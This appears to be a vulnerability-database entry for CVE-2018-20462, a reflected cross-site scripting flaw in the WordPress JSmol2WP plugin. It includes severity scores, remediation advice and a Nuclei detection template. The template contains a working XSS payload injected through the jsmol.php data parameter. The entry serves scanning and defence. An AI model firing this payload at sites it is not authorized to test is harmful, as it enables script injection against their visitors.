SecurityContext

CVE-2018-20462: WordPress JSmol2WP <=1.07 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.0397
  • Epss percentile: 0.90731
  • Cpe: cpe:2.3:a:jsmol2wp_project:jsmol2wp:1.07:*:*:*:*:wordpress:*:*

Metadata

  • Framework: wordpress
  • Max-request: 2
  • Product: jsmol2wp
  • Vendor: jsmol2wp_project

Products

ProductIndexedUrl
jsmol2wp_project:jsmol2wpyes/v1/products/jsmol2wp_project/jsmol2wp

Labels

  • Name: WordPress JSmol2WP - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking or defacement.
  • Remediation: Update to the latest version of JSmol2WP or apply security patches to sanitize input data.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2018-20462
  • Not known: requirements

```yaml

id: CVE-2018-20462

info:

name: WordPress JSmol2WP <=1.07 - Cross-Site Scripting

author: daffainfo

severity: medium

description: WordPress JSmol2WP version 1.07 and earlier is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the jsmol.php data parameter.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

remediation: |

Update to the latest version of the WordPress JSmol2WP plugin (1.08 or higher) to mitigate this vulnerability.

reference:

- https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt

- https://wpvulndb.com/vulnerabilities/9196

- https://nvd.nist.gov/vuln/detail/CVE-2018-20462

- https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS

- https://github.com/ARPSyndicate/kenzer-templates

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2018-20462

cwe-id: CWE-79

epss-score: 0.0397

epss-percentile: 0.90731

cpe: cpe:2.3:a:jsmol2wp_project:jsmol2wp:1.07:*:*:*:*:wordpress:*:*

metadata:

max-request: 2

vendor: "jsmol2wp_project"

product: jsmol2wp

framework: wordpress

tags: cve2018,cve,wordpress,xss,wp-plugin,jsmol2wp_project,vuln

flow: http(1) && http(2)

http:

- raw:

- |

GET /wp-content/plugins/jsmol2wp/readme.txt HTTP/1.1

Host: {{Hostname}}

matchers:

- type: word

internal: true

words:

- 'JSmol2WP'

- 'Tags:'

condition: and

- method: GET

path:

- '{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8'

matchers-condition: and

matchers:

- type: word

part: body

words:

- "</script><script>alert(document.domain)</script>"

- type: word

part: header

words:

- text/html

- type: status

status:

- 200

digest: 4a0a00473045022100a162d149921e4d7b5340c2f9ab29508793a232010ecfcac6744b05c46e18d61a022019492f5d4140767138f484e05c3c7b3547752dba1c31eaba0019835683a2026d:922c64590222798bb761d5b6d8e72950

```